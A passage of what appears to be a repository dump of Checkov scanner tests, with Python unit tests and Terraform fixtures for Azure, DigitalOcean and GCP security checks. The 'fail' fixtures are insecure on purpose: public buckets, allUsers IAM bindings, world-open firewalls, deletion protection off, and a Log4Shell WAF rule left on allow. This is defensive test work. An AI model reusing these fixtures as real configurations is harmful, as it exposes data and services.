}\n\n                        managed_rule_set {\n                          type    = \"OWASP\"\n                          version = \"3.1\"\n                          rule_group_override {\n                            rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                            disabled_rules = [\n                              \"920300\",\n                              \"920440\"\n                            ]\n                          }\n                        }\n                      }\n                    }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success4(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_web_application_firewall_policy\" \"example\" {\n                      name                = \"example-wafpolicy\"\n                      resource_group_name = azurerm_resource_group.example.name\n                      location            = azurerm_resource_group.example.location\n\n                      custom_rules {\n                        name      = \"Rule1\"\n                        priority  = 1\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      custom_rules {\n                        name      = \"Rule2\"\n                        priority  = 2\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\"]\n                        }\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RequestHeaders\"\n                            selector      = \"UserAgent\"\n                          }\n\n                          operator           = \"Contains\"\n                          negation_condition = false\n                          match_values       = [\"Windows\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      managed_rules {\n                        exclusion {\n                          match_variable          = \"RequestHeaderNames\"\n                          selector                = \"x-company-secret-header\"\n                          selector_match_operator = \"Equals\"\n                        }\n                        exclusion {\n                          match_variable          = \"RequestCookieNames\"\n                          selector                = \"too-tasty\"\n                          selector_match_operator = \"EndsWith\"\n                        }\n\n                        managed_rule_set {\n                          type    = \"OWASP\"\n                          version = \"3.1\"\n                          rule_group_override {\n                            rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                            disabled_rules = [\n                              \"920300\",\n                              \"920440\"\n                            ]\n                          }\n                        }\n                      }\n                    }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_WinVMAutomaticUpdates.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.WinVMAutomaticUpdates import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestWinVMAutomaticUpdates(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_WinVMAutomaticUpdates\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_windows_virtual_machine.pass\",\n            \"azurerm_windows_virtual_machine_scale_set.pass\",\n            \"azurerm_windows_virtual_machine.missing\",\n            \"azurerm_windows_virtual_machine_scale_set.missing\"\n        }\n        failing_resources = {\n            \"azurerm_windows_virtual_machine.fail\",\n            \"azurerm_windows_virtual_machine_scale_set.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_WinVMEncryptionAtHost.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.WinVMEncryptionAtHost import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestWinVMEncryptionAtHost(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_WinVMEncryptionAtHost\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_windows_virtual_machine.pass\",\n        }\n        failing_resources = {\n            \"azurerm_windows_virtual_machine.fail\",\n            \"azurerm_windows_virtual_machine.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/digitalocean/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/digitalocean/example_DropletSSHKeys/main.tf",
    "content": "resource \"digitalocean_droplet\" \"fail\" {\n  image  = \"ubuntu-18-04-x64\"\n  name   = \"web-1\"\n  region = \"nyc2\"\n  size   = \"s-1vcpu-1gb\"\n}\n\nresource \"digitalocean_droplet\" \"pass\" {\n  image    = \"ubuntu-18-04-x64\"\n  name     = \"web-1\"\n  region   = \"nyc2\"\n  size     = \"s-1vcpu-1gb\"\n  ssh_keys = [12345, 123456]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/digitalocean/example_FirewallIngressOpen/main.tf",
    "content": "resource \"digitalocean_firewall\" \"fail\" {\n  name = \"ssh-from-world\"\n\n  droplet_ids = [digitalocean_droplet.web.id]\n\n  inbound_rule {\n    protocol         = \"http\"\n    port_range       = \"80\"\n    source_addresses = [\"0.0.0.0/0\", \"::/0\"]\n  }\n}\n\nresource \"digitalocean_firewall\" \"pass\" {\n  name = \"ssh-from-world\"\n\n  droplet_ids = [digitalocean_droplet.web.id]\n\n  inbound_rule {\n    protocol         = \"http\"\n    port_range       = \"80\"\n    source_addresses = [\"10.0.0.0/16\"]\n  }\n}\n\nresource \"digitalocean_firewall\" \"droplet\" {\n  name = \"http-from-droplet\"\n\n  droplet_ids = [digitalocean_droplet.web.id]\n\n  inbound_rule {\n    protocol           = \"http\"\n    port_range         = \"80\"\n    source_droplet_ids = [\"var.cluster_droplet_ids\"]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/digitalocean/example_SpaceBucketPublicRead/main.tf",
    "content": "\nresource \"digitalocean_spaces_bucket\" \"fail\" {\n  name   = \"public_space\"\n  region = \"nyc3\"\n  acl    = \"public-read\"\n}\n\n\nresource \"digitalocean_spaces_bucket\" \"pass\" {\n  name   = \"public_space\"\n  region = \"nyc3\"\n  acl    = \"private\"\n  versioning {\n    enabled = true\n  }\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/digitalocean/example_SpaceBucketVersioning/main.tf",
    "content": "\nresource \"digitalocean_spaces_bucket\" \"fail\" {\n  name   = \"public_space\"\n  region = \"nyc3\"\n  acl    = \"public-read\"\n}\n\n\nresource \"digitalocean_spaces_bucket\" \"pass\" {\n  name   = \"public_space\"\n  region = \"nyc3\"\n  acl    = \"public-read\"\n  versioning {\n    enabled = true\n  }\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/digitalocean/test_DropletSSHKeys.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.digitalocean.DropletSSHKeys import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDropletSSHKeys(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DropletSSHKeys\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"digitalocean_droplet.pass\",\n        }\n        failing_resources = {\n            \"digitalocean_droplet.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/digitalocean/test_FirewallIngressOpen.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.digitalocean.FirewallIngressOpen import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestFirewallIngressOpen(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_FirewallIngressOpen\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"digitalocean_firewall.pass\",\n            \"digitalocean_firewall.droplet\",\n        }\n        failing_resources = {\n            \"digitalocean_firewall.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/digitalocean/test_SpaceBucketPublicRead.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.digitalocean.SpacesBucketPublicRead import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSpaceBucketVersioning(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SpaceBucketPublicRead\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"digitalocean_spaces_bucket.pass\",\n        }\n        failing_resources = {\n            \"digitalocean_spaces_bucket.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/digitalocean/test_SpaceBucketVersioning.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.digitalocean.SpacesBucketVersioning import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSpaceBucketVersioning(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SpaceBucketVersioning\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"digitalocean_spaces_bucket.pass\",\n        }\n        failing_resources = {\n            \"digitalocean_spaces_bucket.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_ArtifactRegistryEncryptedWithCMK/main.tf",
    "content": "resource \"google_artifact_registry_repository\" \"fail\" {\n  provider = google-beta\n\n  location      = \"us-central1\"\n  repository_id = \"my-repository\"\n  description   = \"example docker repository with cmek\"\n  format        = \"DOCKER\"\n  #   kms_key_name = \"kms-key\"\n}\n\nresource \"google_artifact_registry_repository\" \"pass\" {\n  provider = google-beta\n\n  location      = \"us-central1\"\n  repository_id = \"my-repository\"\n  description   = \"example docker repository with cmek\"\n  format        = \"DOCKER\"\n  kms_key_name  = google_kms_crypto_key.example.name\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_ArtifactRegistryPrivateRepo/main.tf",
    "content": "################\n## PASS TESTS ##\n################\n\nresource \"google_artifact_registry_repository_iam_binding\" \"pass1\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jane@example.com\",\n    \"group:mygroup@example.com\",\n  ]\n}\n\nresource \"google_artifact_registry_repository_iam_binding\" \"pass2\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_artifact_registry_repository_iam_member\" \"pass1\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  member = \"user:jane@example.com\"\n}\n\nresource \"google_artifact_registry_repository_iam_member\" \"pass2\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  member = \"domain:example.com\"\n}\n\n################\n## FAIL TESTS ##\n################\n\nresource \"google_artifact_registry_repository_iam_binding\" \"fail1\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  members = [\n    \"allAuthenticatedUsers\",\n  ]\n}\n\nresource \"google_artifact_registry_repository_iam_binding\" \"fail2\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_artifact_registry_repository_iam_binding\" \"fail3\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  members = [\n    \"allUsers\",\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_artifact_registry_repository_iam_binding\" \"fail4\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jason@example.com\",\n    \"allAuthenticatedUsers\",\n  ]\n}\n\nresource \"google_artifact_registry_repository_iam_binding\" \"fail5\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jason@example.com\",\n    \"allAuthenticatedUsers\",\n    \"domain:example.com\",\n  ]\n}\n\nresource \"google_artifact_registry_repository_iam_member\" \"fail1\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  member  = \"allAuthenticatedUsers\"\n}\n\nresource \"google_artifact_registry_repository_iam_member\" \"fail2\" {\n  provider = google-beta\n  location = google_artifact_registry_repository.my-repo.location\n  repository = google_artifact_registry_repository.my-repo.name\n  role = \"roles/viewer\"\n  member  = \"allUsers\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_BigQueryDatasetEncryptedWithCMK/main.tf",
    "content": "resource \"google_bigquery_dataset\" \"fail\" {\n  dataset_id                  = \"example_dataset\"\n  friendly_name               = \"test\"\n  description                 = \"This is a test description\"\n  location                    = \"EU\"\n  default_table_expiration_ms = 3600000\n\n  labels = {\n    env = \"default\"\n  }\n\n  access {\n    role          = \"OWNER\"\n    special_group = \"allAuthenticatedUsers\"\n  }\n\n  access {\n    role   = \"READER\"\n    domain = \"hashicorp.com\"\n  }\n}\n\nresource \"google_bigquery_dataset\" \"pass\" {\n  dataset_id                  = var.dataset.dataset_id\n  friendly_name               = var.dataset.friendly_name\n  description                 = var.dataset.description\n  location                    = var.location\n  default_table_expiration_ms = var.dataset.default_table_expiration_ms\n\n  default_encryption_configuration {\n    kms_key_name = google_kms_crypto_key.example.name\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_BigQueryPrivateTable/main.tf",
    "content": "################\n## PASS TESTS ##\n################\n\nresource \"google_bigquery_table_iam_binding\" \"pass1\" {\n  cluster = \"my-private-table-binding1\"\n  role    = \"roles/bigquery.admin\"\n  members = [\n    \"user:jane@example.com\",\n    \"group:mygroup@example.com\",\n  ]\n}\n\nresource \"google_bigquery_table_iam_binding\" \"pass2\" {\n  cluster = \"my-private-table-binding2\"\n  role    = \"roles/bigquery.connectionAdmin\"\n  members = [\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_bigquery_table_iam_member\" \"pass1\" {\n  cluster = \"my-private-table-member1\"\n  role    = \"roles/bigquery.connectionUser\"\n  member  = \"group:mygroup@example.com\"\n}\n\nresource \"google_bigquery_table_iam_member\" \"pass2\" {\n  cluster = \"my-private-table-member2\"\n  role    = \"roles/bigquery.dataEditor\"\n  member  = \"domain:example.com\"\n}\n\n\n################\n## FAIL TESTS ##\n################\n\nresource \"google_bigquery_table_iam_binding\" \"fail1\" {\n  cluster = \"my-public-table-binding1\"\n  role    = \"roles/bigquery.dataOwner\"\n  members = [\n    \"allAuthenticatedUsers\",\n  ]\n}\n\nresource \"google_bigquery_table_iam_binding\" \"fail2\" {\n  cluster = \"my-public-table-binding2\"\n  role    = \"roles/bigquery.dataViewer\"\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_bigquery_table_iam_binding\" \"fail3\" {\n  cluster = \"my-public-table-binding3\"\n  role    = \"roles/bigquery.filteredDataViewer\"\n  members = [\n    \"allUsers\",\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_bigquery_table_iam_binding\" \"fail4\" {\n  cluster = \"my-public-table-binding4\"\n  role    = \"roles/bigquery.jobUser\"\n  members = [\n    \"user:jason@example.com\",\n    \"allAuthenticatedUsers\",\n  ]\n}\n\nresource \"google_bigquery_table_iam_member\" \"fail1\" {\n  cluster = \"my-public-table-member1\"\n  role    = \"roles/bigquery.metadataViewer\"\n  member  = \"allAuthenticatedUsers\"\n}\n\nresource \"google_bigquery_table_iam_member\" \"fail2\" {\n  cluster = \"my-public-table-member2\"\n  role    = \"roles/bigquery.readSessionUser\"\n  member  = \"allUsers\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_BigQueryTableDeletionProtection/main.tf",
    "content": "resource \"google_bigquery_table\" \"fail\" {\n  dataset_id = google_bigquery_dataset.default.dataset_id\n  table_id   = \"bar\"\n\n  time_partitioning {\n    type = \"DAY\"\n  }\n\n  labels = {\n    env = \"default\"\n  }\n\n  schema = <<EOF\n[\n  {\n    \"name\": \"permalink\",\n    \"type\": \"STRING\",\n    \"mode\": \"NULLABLE\",\n    \"description\": \"The Permalink\"\n  },\n  {\n    \"name\": \"state\",\n    \"type\": \"STRING\",\n    \"mode\": \"NULLABLE\",\n    \"description\": \"State where the head office is located\"\n  }\n]\nEOF\n\n}\n\n\nresource \"google_bigquery_table\" \"fail2\" {\n  dataset_id = google_bigquery_dataset.default.dataset_id\n  table_id   = \"bar\"\n  deletion_protection = false\n  time_partitioning {\n    type = \"DAY\"\n  }\n\n  labels = {\n    env = \"default\"\n  }\n\n  schema = <<EOF\n[\n  {\n    \"name\": \"permalink\",\n    \"type\": \"STRING\",\n    \"mode\": \"NULLABLE\",\n    \"description\": \"The Permalink\"\n  },\n  {\n    \"name\": \"state\",\n    \"type\": \"STRING\",\n    \"mode\": \"NULLABLE\",\n    \"description\": \"State where the head office is located\"\n  }\n]\nEOF\n\n}\n\nresource \"google_bigquery_table\" \"pass\" {\n  dataset_id = google_bigquery_dataset.default.dataset_id\n  table_id   = \"bar\"\n  deletion_protection = true\n  time_partitioning {\n    type = \"DAY\"\n  }\n\n  labels = {\n    env = \"default\"\n  }\n\n  schema = <<EOF\n[\n  {\n    \"name\": \"permalink\",\n    \"type\": \"STRING\",\n    \"mode\": \"NULLABLE\",\n    \"description\": \"The Permalink\"\n  },\n  {\n    \"name\": \"state\",\n    \"type\": \"STRING\",\n    \"mode\": \"NULLABLE\",\n    \"description\": \"State where the head office is located\"\n  }\n]\nEOF\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_BigQueryTableEncryptedWithCMK/main.tf",
    "content": "resource \"google_bigquery_table\" \"fail\" {\n  dataset_id = google_bigquery_dataset.default.dataset_id\n  table_id   = \"sheet\"\n\n  external_data_configuration {\n    autodetect    = true\n    source_format = \"GOOGLE_SHEETS\"\n\n    google_sheets_options {\n      skip_leading_rows = 1\n    }\n\n    source_uris = [\n      \"https://docs.google.com/spreadsheets/d/123456789012345\",\n    ]\n  }\n}\n\n\nresource \"google_bigquery_table\" \"pass\" {\n  dataset_id = google_bigquery_dataset.default.dataset_id\n  table_id   = \"sheet\"\n\n  external_data_configuration {\n    autodetect    = true\n    source_format = \"GOOGLE_SHEETS\"\n\n    google_sheets_options {\n      skip_leading_rows = 1\n    }\n\n    source_uris = [\n      \"https://docs.google.com/spreadsheets/d/123456789012345\",\n    ]\n  }\n\n  encryption_configuration {\n    kms_key_name = var.kms_key_name\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_BigTableInstanceDeletionProtection/main.tf",
    "content": "resource \"google_bigtable_instance\" \"fail\" {\n  name = \"tf-instance\"\n\n  cluster {\n    cluster_id   = \"tf-instance-cluster\"\n    num_nodes    = 1\n    storage_type = \"HDD\"\n    # kms_key_name = \"some value\"\n  }\n\n  labels = {\n    my-label = \"prod-label\"\n  }\n}\n\nresource \"google_bigtable_instance\" \"fail2\" {\n  name = \"tf-instance\"\n  deletion_protection = false\n  cluster {\n    cluster_id   = \"tf-instance-cluster\"\n    num_nodes    = 1\n    storage_type = \"HDD\"\n    # kms_key_name = \"some value\"\n  }\n\n  labels = {\n    my-label = \"prod-label\"\n  }\n}\n\nresource \"google_bigtable_instance\" \"pass\" {\n  name = \"tf-instance\"\n  deletion_protection = true\n  cluster {\n    cluster_id   = \"tf-instance-cluster\"\n    num_nodes    = 1\n    storage_type = \"HDD\"\n    kms_key_name = google_kms_crypto_key.example.name\n  }\n\n  labels = {\n    my-label = \"prod-label\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_BigTableInstanceEncryptedWithCMK/main.tf",
    "content": "resource \"google_bigtable_instance\" \"fail\" {\n  name = \"tf-instance\"\n\n  cluster {\n    cluster_id   = \"tf-instance-cluster\"\n    num_nodes    = 1\n    storage_type = \"HDD\"\n    # kms_key_name = \"some value\"\n  }\n\n  labels = {\n    my-label = \"prod-label\"\n  }\n}\n\nresource \"google_bigtable_instance\" \"pass\" {\n  name = \"tf-instance\"\n\n  cluster {\n    cluster_id   = \"tf-instance-cluster\"\n    num_nodes    = 1\n    storage_type = \"HDD\"\n    kms_key_name = google_kms_crypto_key.example.name\n  }\n\n  labels = {\n    my-label = \"prod-label\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudArmorWAFACLCVE202144228/main.tf",
    "content": "# pass\n\nresource \"google_compute_security_policy\" \"enabled_deny_403\" {\n  name = \"example\"\n\n  rule {\n    action   = \"deny(403)\"\n    priority = 1\n    match {\n      expr {\n        expression = \"evaluatePreconfiguredExpr('cve-canary')\"\n      }\n    }\n  }\n}\n\nresource \"google_compute_security_policy\" \"enabled_deny_404\" {\n  name = \"example\"\n\n  rule {\n    action   = \"deny(404)\"\n    priority = 1\n    match {\n      expr {\n        expression = \"evaluatePreconfiguredExpr('cve-canary')\"\n      }\n    }\n  }\n}\n\nresource \"google_compute_security_policy\" \"pass_preconfigwaf\" {\n  name = \"example\"\n\n  rule {\n    action   = \"deny(403)\"\n    priority = 1\n    match {\n      expr {\n        expression = \"evaluatePreconfiguredWaf('cve-canary')\"\n        # expression = \"evaluatePreconfiguredExpr('cve-canary')\"\n      }\n    }\n  }\n}\n\nresource \"google_compute_security_policy\" \"pass_separate_resource\" {\n  name        = \"example_separate\"\n\n  rule {\n    description = \"Foo\"\n    priority    = 1\n\n    match {\n      versioned_expr = \"SRC_IPS_V1\"\n      config {\n        src_ip_ranges = [\"*\"]\n      }\n    }\n\n    action = \"deny(404)\"\n  }\n}\n\nresource \"google_compute_security_policy_rule\" \"cve_canary_waf\" {\n  security_policy = google_compute_security_policy.pass_separate_resource.name\n  description = \"cve-canary WAF rule\"\n  priority    = 1\n  match {\n    expr {\n      expression = \"evaluatePreconfiguredExpr('cve-canary')\"\n    }\n  }\n  action          = \"deny(403)\"\n}\n\nresource \"google_compute_security_policy_rule\" \"rule2\" {\n  security_policy = google_compute_security_policy.pass_separate_resource.name\n  description = \"rule2\"\n  priority    = 2\n  match {\n    expr {\n      expression = \"evaluatePreconfiguredWaf('xss-canary')\"\n    }\n  }\n  action          = \"allow\"\n}\n\n\n# fail\n\nresource \"google_compute_security_policy\" \"allow\" {\n  name = \"example\"\n\n  rule {\n    action   = \"allow\"\n    priority = 1\n    match {\n      expr {\n        expression = \"evaluatePreconfiguredExpr('cve-canary')\"\n      }\n    }\n  }\n}\n\nresource \"google_compute_security_policy\" \"preview\" {\n  name = \"example\"\n\n  rule {\n    action   = \"deny(403)\"\n    priority = 1\n    match {\n      expr {\n        expression = \"evaluatePreconfiguredExpr('cve-canary')\"\n      }\n    }\n    preview = true\n  }\n}\n\nresource \"google_compute_security_policy\" \"different_expr\" {\n  name = \"example\"\n\n  rule {\n    action   = \"deny(403)\"\n    priority = 1\n    match {\n      expr {\n        expression = \"evaluatePreconfiguredExpr('xss-canary')\"\n      }\n    }\n  }\n}\n\nresource \"google_compute_security_policy\" \"pass_preconfigwaf\" {\n  name = \"example\"\n\n  rule {\n    action   = \"deny(403)\"\n    priority = 1\n    match {\n      expr {\n        expression = \"evaluatePreconfiguredWaf('xss-canary')\"\n        # expression = \"evaluatePreconfiguredExpr('xss-canary')\"\n      }\n    }\n  }\n}\n\nresource \"google_compute_security_policy\" \"fail\" {\n\n  name = \"my-policy\"\n\n  rule {\n    action   = \"deny(403)\"\n    priority = \"1000\"\n    match {\n      versioned_expr = \"SRC_IPS_V1\"\n      config {\n        src_ip_ranges = [\"9.9.9.0/24\"]\n      }\n    }\n    description = \"Deny access to IPs in 9.9.9.0/24\"\n  }\n\n  rule {\n    action   = \"allow\"\n    priority = \"2147483647\"\n    match {\n      versioned_expr = \"SRC_IPS_V1\"\n      config {\n        src_ip_ranges = [\"*\"]\n      }\n    }\n    description = \"default rule\"\n  }\n}\n\nresource \"google_compute_security_policy\" \"fail_separate_resource\" {\n  name        = \"example_separate_fail\"\n\n  rule {\n    description = \"Foo\"\n    priority    = 1\n\n    match {\n      versioned_expr = \"SRC_IPS_V1\"\n      config {\n        src_ip_ranges = [\"*\"]\n      }\n    }\n\n    action = \"deny(404)\"\n  }\n}\n\nresource \"google_compute_security_policy_rule\" \"cve_canary_waf\" {\n  security_policy = google_compute_security_policy.fail_separate_resource.name\n  description = \"cve-canary WAF rule\"\n  priority    = 1\n  match {\n    expr {\n      expression = \"evaluatePreconfiguredExpr('cve-canary')\"\n    }\n  }\n  action          = \"allow\"\n}\n\nresource \"google_compute_security_policy_rule\" \"rule2\" {\n  security_policy = google_compute_security_policy.fail_separate_resource.name\n  description = \"rule2\"\n  priority    = 2\n  match {\n    expr {\n      expression = \"evaluatePreconfiguredWaf('xss-canary')\"\n    }\n  }\n  action          = \"allow\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudBuildWorkersArePrivate/main.tf",
